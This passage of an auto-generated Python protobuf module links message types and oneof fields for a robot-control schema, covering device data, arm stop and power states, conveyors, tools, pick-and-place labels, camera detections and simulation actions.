_LIMITS.fields_by_name['force'].message_type = _FORCELIMITS
_LIMITS.fields_by_name['torque'].message_type = _TORQUELIMITS
_LIMITS.fields_by_name['sensor'].message_type = _SENSORLIMITS
_SENSORLIMITS.fields_by_name['value'].message_type = _CAPABILITYSTATE
_SENSORLIMITS.fields_by_name['maximum'].message_type = _CAPABILITYSTATE
_SENSORLIMITS.fields_by_name['minimum'].message_type = _CAPABILITYSTATE
_MOVEJPATHARGS.fields_by_name['waypoints'].message_type = _MOVEJWAYPOINTARGS
_MOVELWAYPOINTARGS.fields_by_name['limits'].message_type = _LIMITS
_MOVELPATHARGS.fields_by_name['waypoints'].message_type = _MOVELWAYPOINTARGS
_DEVICEDATA.fields_by_name['send_to_clients'].message_type = _SENDTOCLIENT
_DEVICEDATA.fields_by_name['ts'].message_type = google_dot_protobuf_dot_timestamp__pb2._TIMESTAMP
_DEVICEDATA.fields_by_name['local_ts'].message_type = google_dot_protobuf_dot_timestamp__pb2._TIMESTAMP
_DEVICEDATA.fields_by_name['remote_ts'].message_type = google_dot_protobuf_dot_timestamp__pb2._TIMESTAMP
_DEVICEDATA.fields_by_name['event_params'].message_type = _KEYVALUE
_DEVICEDATA.fields_by_name['message_last_timestamps'].message_type = _MESSAGELASTTIMESTAMP
_DEVICEDATA.fields_by_name['color'].message_type = _COLOR
_DEVICEDATA.fields_by_name['color_depth'].message_type = _COLORDEPTH
_DEVICEDATA.fields_by_name['key_value'].message_type = _KEYVALUE
_DEVICEDATA.fields_by_name['prediction'].message_type = _PREDICTION
_DEVICEDATA.fields_by_name['ur_state'].message_type = _URSTATE
_DEVICEDATA.fields_by_name['conveyor_state'].message_type = _CONVEYORSTATE
_DEVICEDATA.fields_by_name['conveyor_state_update'].message_type = _CONVEYORSTATE
_DEVICEDATA.fields_by_name['tool_state'].message_type = _TOOLSTATE
_DEVICEDATA.fields_by_name['tool_state_update'].message_type = _TOOLSTATE
_DEVICEDATA.fields_by_name['status'].message_type = _STATUS
_DEVICEDATA.fields_by_name['user_label'].message_type = _USERLABEL
_DEVICEDATA.fields_by_name['session_info'].message_type = _SESSIONINFO
_DEVICEDATA.fields_by_name['pick_label'].message_type = _PICKLABEL
_DEVICEDATA.fields_by_name['place_label'].message_type = _PLACELABEL
_DEVICEDATA.fields_by_name['level'].message_type = _LEVEL
_DEVICEDATA.fields_by_name['protective_stop_state'].message_type = _PROTECTIVESTOPSTATE
_DEVICEDATA.fields_by_name['protective_stop_state_update'].message_type = _PROTECTIVESTOPSTATE
_DEVICEDATA.fields_by_name['safeguard_stop_state'].message_type = _SAFEGUARDSTOPSTATE
_DEVICEDATA.fields_by_name['safeguard_stop_state_update'].message_type = _SAFEGUARDSTOPSTATE
_DEVICEDATA.fields_by_name['emergency_stop_state'].message_type = _EMERGENCYSTOPSTATE
_DEVICEDATA.fields_by_name['emergency_stop_state_update'].message_type = _EMERGENCYSTOPSTATE
_DEVICEDATA.fields_by_name['robot_power_state'].message_type = _ROBOTPOWERSTATE
_DEVICEDATA.fields_by_name['robot_power_state_update'].message_type = _ROBOTPOWERSTATE
_DEVICEDATA.fields_by_name['metric'].message_type = _METRIC
_DEVICEDATA.fields_by_name['reach_script_status'].message_type = _STATUS
_DEVICEDATA.fields_by_name['cmd_status'].message_type = _STATUS
_DEVICEDATA.fields_by_name['vacuum_pressure_state'].message_type = _TOOLSTATE
_DEVICEDATA.fields_by_name['vacuum_pressure_update'].message_type = _TOOLSTATE
_DEVICEDATA.fields_by_name['downlink_status'].message_type = _STATUS
_DEVICEDATA.fields_by_name['sensor_state'].message_type = _IOSTATE
_DEVICEDATA.fields_by_name['sensor_state_update'].message_type = _IOSTATE
_DEVICEDATA.fields_by_name['output_state'].message_type = _IOSTATE
_DEVICEDATA.fields_by_name['output_state_update'].message_type = _IOSTATE
_DEVICEDATA.fields_by_name['health_check'].message_type = _EMPTYMESSAGE
_DEVICEDATA.fields_by_name['history'].message_type = _HISTORY
_DEVICEDATA.fields_by_name['audio_request_mute'].message_type = _AUDIOREQUEST
_DEVICEDATA.fields_by_name['audio_request_unmute'].message_type = _AUDIOREQUEST
_DEVICEDATA.fields_by_name['error'].message_type = _STATUS
_DEVICEDATA.fields_by_name['webrtc_audio_response'].message_type = _WEBRTCAUDIORESPONSE
_DEVICEDATA.fields_by_name['metadata'].message_type = _METADATA
_DEVICEDATA.fields_by_name['sim_state'].message_type = _SIMSTATE
_DEVICEDATA.fields_by_name['device_status'].message_type = _STATUS
_DEVICEDATA.fields_by_name['webrtc_audio_request'].message_type = _WEBRTCAUDIOREQUEST
_DEVICEDATA.fields_by_name['sim_instance_segmentation'].message_type = _SIMINSTANCESEGMENTATION
_DEVICEDATA.fields_by_name['exposure_complete'].message_type = _EMPTYMESSAGE
_DEVICEDATA.fields_by_name['start_shutdown'].message_type = _EMPTYMESSAGE
_DEVICEDATA.fields_by_name['finish_shutdown'].message_type = _EMPTYMESSAGE
_DEVICEDATA.fields_by_name['hangup'].message_type = _EMPTYMESSAGE
_DEVICEDATA.fields_by_name['connected_clients'].message_type = _CONNECTEDCLIENTS
_DEVICEDATA.fields_by_name['detection'].message_type = _DETECTION
_DEVICEDATA.fields_by_name['robot_state'].message_type = _ROBOTSTATE
_DEVICEDATA.fields_by_name['alert'].message_type = _ALERT
_DEVICEDATA.fields_by_name['client_annotation'].message_type = _CLIENTANNOTATION
_DEVICEDATA.fields_by_name['pipeline_description'].message_type = _PIPELINEDESCRIPTION
_DEVICEDATA.fields_by_name['machine_interfaces'].message_type = _MACHINEINTERFACES
_DEVICEDATA.fields_by_name['machine_description'].message_type = _MACHINEDESCRIPTION
_DEVICEDATA.fields_by_name['text_instruction'].message_type = _TEXTINSTRUCTION
_DEVICEDATA.fields_by_name['report_error'].message_type = _REPORTERROR
_DEVICEDATA.fields_by_name['health'].message_type = _HEALTH
_DEVICEDATA.fields_by_name['controller_descriptions'].message_type = _CONTROLLERDESCRIPTIONS
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['color'])
_DEVICEDATA.fields_by_name['color'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['color_depth'])
_DEVICEDATA.fields_by_name['color_depth'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['key_value'])
_DEVICEDATA.fields_by_name['key_value'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['prediction'])
_DEVICEDATA.fields_by_name['prediction'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['ur_state'])
_DEVICEDATA.fields_by_name['ur_state'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['conveyor_state'])
_DEVICEDATA.fields_by_name['conveyor_state'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['conveyor_state_update'])
_DEVICEDATA.fields_by_name['conveyor_state_update'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['tool_state'])
_DEVICEDATA.fields_by_name['tool_state'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['tool_state_update'])
_DEVICEDATA.fields_by_name['tool_state_update'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['status'])
_DEVICEDATA.fields_by_name['status'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['user_label'])
_DEVICEDATA.fields_by_name['user_label'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['session_info'])
_DEVICEDATA.fields_by_name['session_info'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['pick_label'])
_DEVICEDATA.fields_by_name['pick_label'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['place_label'])
_DEVICEDATA.fields_by_name['place_label'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['level'])
_DEVICEDATA.fields_by_name['level'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['protective_stop_state'])
_DEVICEDATA.fields_by_name['protective_stop_state'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['protective_stop_state_update'])
_DEVICEDATA.fields_by_name['protective_stop_state_update'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['safeguard_stop_state'])
_DEVICEDATA.fields_by_name['safeguard_stop_state'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['safeguard_stop_state_update'])
_DEVICEDATA.fields_by_name['safeguard_stop_state_update'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['emergency_stop_state'])
_DEVICEDATA.fields_by_name['emergency_stop_state'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['emergency_stop_state_update'])
_DEVICEDATA.fields_by_name['emergency_stop_state_update'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['robot_power_state'])
_DEVICEDATA.fields_by_name['robot_power_state'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['robot_power_state_update'])
_DEVICEDATA.fields_by_name['robot_power_state_update'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['metric'])
_DEVICEDATA.fields_by_name['metric'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['reach_script_status'])
_DEVICEDATA.fields_by_name['reach_script_status'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['cmd_status'])
_DEVICEDATA.fields_by_name['cmd_status'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['vacuum_pressure_state'])
_DEVICEDATA.fields_by_name['vacuum_pressure_state'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['vacuum_pressure_update'])
_DEVICEDATA.fields_by_name['vacuum_pressure_update'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['downlink_status'])
_DEVICEDATA.fields_by_name['downlink_status'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['sensor_state'])
_DEVICEDATA.fields_by_name['sensor_state'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['sensor_state_update'])
_DEVICEDATA.fields_by_name['sensor_state_update'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['output_state'])
_DEVICEDATA.fields_by_name['output_state'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['output_state_update'])
_DEVICEDATA.fields_by_name['output_state_update'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['health_check'])
_DEVICEDATA.fields_by_name['health_check'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['history'])
_DEVICEDATA.fields_by_name['history'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['audio_request_mute'])
_DEVICEDATA.fields_by_name['audio_request_mute'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['audio_request_unmute'])
_DEVICEDATA.fields_by_name['audio_request_unmute'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['error'])
_DEVICEDATA.fields_by_name['error'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['webrtc_audio_response'])
_DEVICEDATA.fields_by_name['webrtc_audio_response'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['metadata'])
_DEVICEDATA.fields_by_name['metadata'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['sim_state'])
_DEVICEDATA.fields_by_name['sim_state'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['device_status'])
_DEVICEDATA.fields_by_name['device_status'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['webrtc_audio_request'])
_DEVICEDATA.fields_by_name['webrtc_audio_request'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['sim_instance_segmentation'])
_DEVICEDATA.fields_by_name['sim_instance_segmentation'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['exposure_complete'])
_DEVICEDATA.fields_by_name['exposure_complete'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['start_shutdown'])
_DEVICEDATA.fields_by_name['start_shutdown'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['finish_shutdown'])
_DEVICEDATA.fields_by_name['finish_shutdown'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['hangup'])
_DEVICEDATA.fields_by_name['hangup'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['connected_clients'])
_DEVICEDATA.fields_by_name['connected_clients'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['detection'])
_DEVICEDATA.fields_by_name['detection'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['robot_state'])
_DEVICEDATA.fields_by_name['robot_state'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['alert'])
_DEVICEDATA.fields_by_name['alert'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['client_annotation'])
_DEVICEDATA.fields_by_name['client_annotation'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['pipeline_description'])
_DEVICEDATA.fields_by_name['pipeline_description'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['machine_interfaces'])
_DEVICEDATA.fields_by_name['machine_interfaces'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['machine_description'])
_DEVICEDATA.fields_by_name['machine_description'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['text_instruction'])
_DEVICEDATA.fields_by_name['text_instruction'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['report_error'])
_DEVICEDATA.fields_by_name['report_error'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['health'])
_DEVICEDATA.fields_by_name['health'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_DEVICEDATA.oneofs_by_name['data_type_oneof'].fields.append(
_DEVICEDATA.fields_by_name['controller_descriptions'])
_DEVICEDATA.fields_by_name['controller_descriptions'].containing_oneof = _DEVICEDATA.oneofs_by_name['data_type_oneof']
_HEALTH.fields_by_name['heart_beats'].message_type = _HEARTBEATS
_HEARTBEATS.fields_by_name['any_camera'].message_type = _HEALTHSTATE
_HEARTBEATS.fields_by_name['depth_camera'].message_type = _HEALTHSTATE
_HEARTBEATS.fields_by_name['color_camera'].message_type = _HEALTHSTATE
_HEARTBEATS.fields_by_name['not_estopped'].message_type = _HEALTHSTATE
_HEARTBEATS.fields_by_name['not_pstopped'].message_type = _HEALTHSTATE
_HEARTBEATS.fields_by_name['not_safeguardstopped'].message_type = _HEALTHSTATE
_HEARTBEATS.fields_by_name['joints'].message_type = _HEALTHSTATE
_HEARTBEATS.fields_by_name['movement'].message_type = _HEALTHSTATE
_HEARTBEATS.fields_by_name['client_connected'].message_type = _HEALTHSTATE
_HEARTBEATS.fields_by_name['no_reach_script_failure'].message_type = _HEALTHSTATE
_HEARTBEATS.fields_by_name['teleop_generates_metric'].message_type = _HEALTHSTATE
_CONTROLLERDESCRIPTIONS.fields_by_name['descriptions'].message_type = _CONTROLLERDESCRIPTION
_SIMINSTANCESEGMENTATION.fields_by_name['sim_ts'].message_type = google_dot_protobuf_dot_timestamp__pb2._TIMESTAMP
_SIMINSTANCESEGMENTATION.fields_by_name['relation'].message_type = _KEYVALUE
_SIMSTATE.fields_by_name['sim_ts'].message_type = google_dot_protobuf_dot_timestamp__pb2._TIMESTAMP
_SIMSTATE.fields_by_name['object_state'].message_type = _OBJECTSTATE
_SIMACTION.fields_by_name['get_all_object_poses'].message_type = _GETALLOBJECTPOSES
_SIMACTION.fields_by_name['set_object_pose'].message_type = _SETOBJECTPOSE
_SIMACTION.fields_by_name['delete_object'].message_type = _DELETEOBJECT
_SIMACTION.fields_by_name['set_camera_intrinsics'].message_type = _SETCAMERAINTRINSICS
_SIMACTION.fields_by_name['add_object'].message_type = _ADDOBJECT
_SIMACTION.fields_by_name['get_segmented_image'].message_type = _GETSEGMENTEDIMAGE
_IOSTATE.fields_by_name['state'].message_type = _CAPABILITYSTATE
_COLORDEPTH.fields_by_name['compressed_depth'].message_type = _COMPRESSEDDEPTH
_MESSAGELASTTIMESTAMP.fields_by_name['last_ts'].message_type = google_dot_protobuf_dot_timestamp__pb2._TIMESTAMP
_PREDICTION.fields_by_name['pick_points'].message_type = _PICKPOINT
_PREDICTION.fields_by_name['position_3d'].message_type = _VEC3D
_PREDICTION.fields_by_name['quaternion_3d'].message_type = _QUATERNION3D
_PREDICTION.fields_by_name['place_position_3d'].message_type = _VEC3D
_PREDICTION.fields_by_name['place_quaternion_3d'].message_type = _QUATERNION3D
_PREDICTION.fields_by_name['inference_request'].message_type = _INFERENCEREQUEST
_PREDICTION.fields_by_name['color_ts'].message_type = google_dot_protobuf_dot_timestamp__pb2._TIMESTAMP
_PREDICTION.fields_by_name['depth_ts'].message_type = google_dot_protobuf_dot_timestamp__pb2._TIMESTAMP
_URSTATE.fields_by_name['robot_stop_state'].message_type = _ROBOTSTOPSTATE
_URSTATE.fields_by_name['digital_bank'].message_type = _DIGITALBANK
_URSTATE.fields_by_name['analog_bank'].message_type = _ANALOGBANK
_URSTATE.fields_by_name['integer_bank'].message_type = _INTEGERBANK
_ROBOTSTATE.fields_by_name['robot_stop_state'].message_type = _ROBOTSTOPSTATE
_ROBOTSTATE.fields_by_name['digital_bank'].message_type = _DIGITALBANK
_ROBOTSTATE.fields_by_name['analog_bank'].message_type = _ANALOGBANK
_ROBOTSTATE.fields_by_name['integer_bank'].message_type = _INTEGERBANK
_USERLABEL.fields_by_name['oracle_ts'].message_type = google_dot_protobuf_dot_timestamp__pb2._TIMESTAMP
_USERLABEL.fields_by_name['exp'].message_type = _EXPERIMENTALCOMMANDDATA
_USERLABEL.fields_by_name['position'].message_type = _POSITION
_USERLABEL.fields_by_name['rotation'].message_type = _ROTATION
_DEVICEDATAREF.fields_by_name['ts'].message_type = google_dot_protobuf_dot_timestamp__pb2._TIMESTAMP
_PLACELABEL.fields_by_name['pose_2d'].message_type = _POSE2D
_PLACELABEL.fields_by_name['position_3d'].message_type = _VEC3D
_PLACELABEL.fields_by_name['quaternion_3d'].message_type = _QUATERNION3D
_PICKLABEL.fields_by_name['depth_ts'].message_type = google_dot_protobuf_dot_timestamp__pb2._TIMESTAMP
_PICKLABEL.fields_by_name['device_data_ref'].message_type = _DEVICEDATAREF
_PICKLABEL.fields_by_name['user_data_ref'].message_type = _DEVICEDATAREF
_PICKLABEL.fields_by_name['pose_2d'].message_type = _POSE2D
_PICKLABEL.fields_by_name['position_3d'].message_type = _VEC3D
_PICKLABEL.fields_by_name['quaternion_3d'].message_type = _QUATERNION3D
_SESSIONINFO.fields_by_name['start_time'].message_type = google_dot_protobuf_dot_timestamp__pb2._TIMESTAMP
_METRIC.fields_by_name['value'].message_type = _KEYVALUE
_METRIC.fields_by_name['labels'].message_type = _KEYVALUE
_SETOUTPUT.fields_by_name['args'].message_type = _CAPABILITYSTATE
_CONNECTEDCLIENTS.fields_by_name['clients'].message_type = _CONNECTEDCLIENT
_DETECTION.fields_by_name['source'].message_type = _SOURCEIMAGE
_DETECTION.fields_by_name['detections'].message_type = _DETECTIONENTRY
_DETECTION.fields_by_name['camera_shift'].message_type = _CAMERASHIFTDETECTION
_SOURCEIMAGE.fields_by_name['ts'].message_type = google_dot_protobuf_dot_timestamp__pb2._TIMESTAMP
_DETECTIONAPRILGROUPINFO.fields_by_name['april_tags'].message_type = _DETECTIONAPRILGROUPAPRILTAG
_DETECTIONENTRY.fields_by_name['april_group'].message_type = _DETECTIONAPRILGROUPINFO
_DETECTIONENTRY.oneofs_by_name['type_specific_info'].fields.append(
_DETECTIONENTRY.fields_by_name['april_group'])
_DETECTIONENTRY.fields_by_name['april_group'].containing_oneof = _DETECTIONENTRY.oneofs_by_name['type_specific_info']
_SHIFTPERDETECTION.fields_by_name['detection_key'].message_type = _DETECTIONKEY
_CAMERASHIFTDETECTION.fields_by_name['max_shift_object'].message_type = _DETECTIONKEY
_CAMERASHIFTDETECTION.fields_by_name['shifts_per_detection'].message_type = _SHIFTPERDETECTION
_MOVEPOSEPATHARGS.fields_by_name['waypoints'].message_type = _MOVEPOSEWAYPOINTARGS
_MOVEPOSEWAYPOINTARGS.fields_by_name['translation'].message_type = _VEC3D
_MOVEPOSEWAYPOINTARGS.fields_by_name['rotation'].message_type = _VEC3D
_MOVEPOSEWAYPOINTARGS.fields_by_name['limits'].message_type = _LIMITS
_WAITARGS.fields_by_name['timeout_action'].message_type = _WAITTIMEOUTACTION
_WAITARGS.fields_by_name['expr'].message_type = _REACHSCRIPTBOOLEANEXPRESSION
_REACHSCRIPTBOOLEANEXPRESSION.fields_by_name['arg1'].message_type = _REACHSCRIPTEXPRESSION
_REACHSCRIPTBOOLEANEXPRESSION.fields_by_name['arg2'].message_type = _REACHSCRIPTEXPRESSION
_REACHSCRIPTEXPRESSION.fields_by_name['bool_expr'].message_type = _REACHSCRIPTBOOLEANEXPRESSION
_REACHSCRIPTEXPRESSION.fields_by_name['var_expr'].message_type = _REACHSCRIPTVAR
_REACHSCRIPTEXPRESSION.fields_by_name['const_expr'].message_type = _REACHSCRIPTCONST
_REACHSCRIPTEXPRESSION.oneofs_by_name['arg_oneof'].fields.append(
_REACHSCRIPTEXPRESSION.fields_by_name['bool_expr'])
_REACHSCRIPTEXPRESSION.fields_by_name['bool_expr'].containing_oneof = _REACHSCRIPTEXPRESSION.oneofs_by_name['arg_oneof']
_REACHSCRIPTEXPRESSION.oneofs_by_name['arg_oneof'].fields.append(
_REACHSCRIPTEXPRESSION.fields_by_name['var_expr'])
_REACHSCRIPTEXPRESSION.fields_by_name['var_expr'].containing_oneof = _REACHSCRIPTEXPRESSION.oneofs_by_name['arg_oneof']
_REACHSCRIPTEXPRESSION.oneofs_by_name['arg_oneof'].fields.append(
_REACHSCRIPTEXPRESSION.fields_by_name['const_expr'])
_REACHSCRIPTEXPRESSION.fields_by_name['const_expr'].containing_oneof = _REACHSCRIPTEXPRESSION.oneofs_by_name['arg_oneof']
_REACHSCRIPTVAR.fields_by_name['capability'].message_type = _REACHSCRIPTCAPABILITY
_REACHSCRIPTVAR.oneofs_by_name['var_oneof'].fields.append(
_REACHSCRIPTVAR.fields_by_name['capability'])
_REACHSCRIPTVAR.fields_by_name['capability'].containing_oneof = _REACHSCRIPTVAR.oneofs_by_name['var_oneof']
_REACHSCRIPTCONST.fields_by_name['capability'].message_type = _REACHSCRIPTCAPABILITY
_REACHSCRIPTCONST.oneofs_by_name['var_oneof'].fields.append(
_REACHSCRIPTCONST.fields_by_name['capability'])
_REACHSCRIPTCONST.fields_by_name['capability'].containing_oneof = _REACHSCRIPTCONST.oneofs_by_name['var_oneof']
_REACHSCRIPTCONST.oneofs_by_name['var_oneof'].fields.append(
_REACHSCRIPTCONST.fields_by_name['bool_value'])
_REACHSCRIPTCONST.fields_by_name['bool_value'].containing_oneof = _REACHSCRIPTCONST.oneofs_by_name['var_oneof']
_REACHSCRIPTCAPABILITY.fields_by_name['state'].message_type = _CAPABILITYSTATE
_MACHINEDESCRIPTION.fields_by_name['interfaces'].message_type = _MACHINEINTERFACE
_PIPELINEDESCRIPTION.fields_by_name['descriptions'].message_type = _MACHINEDESCRIPTION
_MACHINEINTERFACES.fields_by_name['interfaces'].message_type = _MACHINEINTERFACE
_SNAPSHOT.fields_by_name['device_data_refs'].message_type = _DEVICEDATAREF
_SNAPSHOT.fields_by_name['responses'].message_type = _SNAPSHOTRESPONSE
_SNAPSHOT.fields_by_name['gym_server_ts'].message_type = google_dot_protobuf_dot_timestamp__pb2._TIMESTAMP
_SNAPSHOT.fields_by_name['gym_actions'].message_type = _GYMACTION
